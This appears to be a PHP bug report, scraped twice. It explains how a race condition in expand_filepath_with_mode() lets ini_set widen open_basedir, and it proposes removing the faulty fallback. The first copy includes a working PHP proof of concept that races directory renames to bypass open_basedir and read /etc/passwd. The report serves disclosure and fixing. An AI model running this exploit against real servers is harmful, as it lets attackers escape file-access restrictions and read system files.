Description
Originally reported by @mdsnins.
ZEND_INI_MH(OnUpdateBaseDir) allows narrowing of open_basedir at runtime, but not widening. It does so by expanding each path in the string passed to ini_set('open_basedir', 'path1:path2) and verifying it is a sub-path of one of the existing open_basedir paths.
|
if (expand_filepath(ptr, resolved_name) == NULL) { |
|
if (php_check_open_basedir_ex(resolved_name, 0) != 0) { |
expand_filepath() resolves relative paths by fetching the cwd using VCWD_GETCWD() to resolve the relative path against (when relative_to is NULL, that is). VCWD_GETCWD() can fail and return NULL in some edge-case, the common one being that the length of the CWD exceeds the buffer size, specified by MAXPATHLEN (4096 on Linux).
When VCWD_GETCWD() returns NULL, expand_filepath_with_mode() has a fallback that tries to open the relative file using VCWD_OPEN(), and letting the OS resolve the path.
|
result = VCWD_GETCWD(cwd, MAXPATHLEN); |
|
} |
|
|
|
if (!result && (iam != filepath)) { |
|
int fdtest = -1; |
|
|
|
fdtest = VCWD_OPEN(filepath, O_RDONLY); |
|
if (fdtest != -1) { |
|
/* return a relative file path if for any reason |
|
* we cannot getcwd() and the requested, |
|
* relatively referenced file is accessible */ |
|
copy_len = path_len > MAXPATHLEN - 1 ? MAXPATHLEN - 1 : path_len; |
|
if (real_path) { |
|
memcpy(real_path, filepath, copy_len); |
|
real_path[copy_len] = '\0'; |
|
} else { |
|
real_path = estrndup(filepath, copy_len); |
|
} |
|
close(fdtest); |
|
return real_path; |
This is bad for two reasons:
- When this operation succeeds,
VCWD_GETCWD() returns the unresolved path.
- The true cwd is not necessary the same as
VCWD_GETCWD(). VCWD_GETCWD() handles cwd for zts, where we want a thread-specific cwd, rather than one per process. So even if the lookup succeeds, we might find the wrong file.
Now, these two separate checks allow open_basedir to be circumvented with a race-condition (which we don't consider a security issue due to open_basedir not being a security setting). Another process can expand the cwd of the current process by renaming some folder such that VCWD_GETCWD() operation fails (by exceeding MAXPATHLEN), and renaming it back for VCWD_OPEN() to succeed. When adding ../ to the open_basedir paths, expand_filepath() will return the unchanged path "../", which will also pass the open_basedir check if we're currently present in a sub-folder of one of the open_basedir paths.
<?php
chdir("/tmp");
@mkdir("poc/");
chdir("poc/");
echo "original basedir: " . ini_get("open_basedir") . "\n\n";
$magic_depth = str_repeat(str_repeat("a", 249) . "/", 16);
@mkdir($magic_depth, 0755, true);
chdir($magic_depth);
$pid = pcntl_fork();
if ($pid == -1) die;
if ($pid == 0) {
for ($i = 0; $i < 20; $i++) {
$cur_basedir = ini_get("open_basedir");
ini_set("open_basedir", $cur_basedir . ":../");
}
chdir("/tmp");
chdir("../");
$passwd = @file_get_contents("etc/passwd");
if (!$passwd)
die("failed\n");
echo "content of /etc/passwd: \n";
echo $passwd;
echo "\n";
} else {
chdir("/tmp"); //go back to original dir
for ($i = 0; $i < 3000; $i++) {
rename("poc", str_repeat("x", 250));
rename(str_repeat("x", 250), "poc");
}
}
The simplest solution is to just remove the fallback in expand_filepath_with_mode(), which is incorrect to begin with.
PHP Version
Operating System
No response
Description
Originally reported by @mdsnins.
ZEND_INI_MH(OnUpdateBaseDir)allows narrowing ofopen_basedirat runtime, but not widening. It does so by expanding each path in the string passed toini_set('open_basedir', 'path1:path2)and verifying it is a sub-path of one of the existingopen_basedirpaths.php-src/main/fopen_wrappers.c
Line 101 in 242fee9
php-src/main/fopen_wrappers.c
Line 106 in 242fee9
expand_filepath()resolves relative paths by fetching the cwd usingVCWD_GETCWD()to resolve the relative path against (whenrelative_toisNULL, that is).VCWD_GETCWD()can fail and returnNULLin some edge-case, the common one being that the length of the CWD exceeds the buffer size, specified byMAXPATHLEN(4096on Linux).When
VCWD_GETCWD()returnsNULL,expand_filepath_with_mode()has a fallback that tries to open the relative file usingVCWD_OPEN(), and letting the OS resolve the path.php-src/main/fopen_wrappers.c
Lines 809 to 828 in 242fee9
This is bad for two reasons:
VCWD_GETCWD()returns the unresolved path.VCWD_GETCWD().VCWD_GETCWD()handles cwd for zts, where we want a thread-specific cwd, rather than one per process. So even if the lookup succeeds, we might find the wrong file.Now, these two separate checks allow
open_basedirto be circumvented with a race-condition (which we don't consider a security issue due toopen_basedirnot being a security setting). Another process can expand the cwd of the current process by renaming some folder such thatVCWD_GETCWD()operation fails (by exceedingMAXPATHLEN), and renaming it back forVCWD_OPEN()to succeed. When adding../to theopen_basedirpaths,expand_filepath()will return the unchanged path"../", which will also pass theopen_basedircheck if we're currently present in a sub-folder of one of theopen_basedirpaths.The simplest solution is to just remove the fallback in
expand_filepath_with_mode(), which is incorrect to begin with.PHP Version
Operating System
No response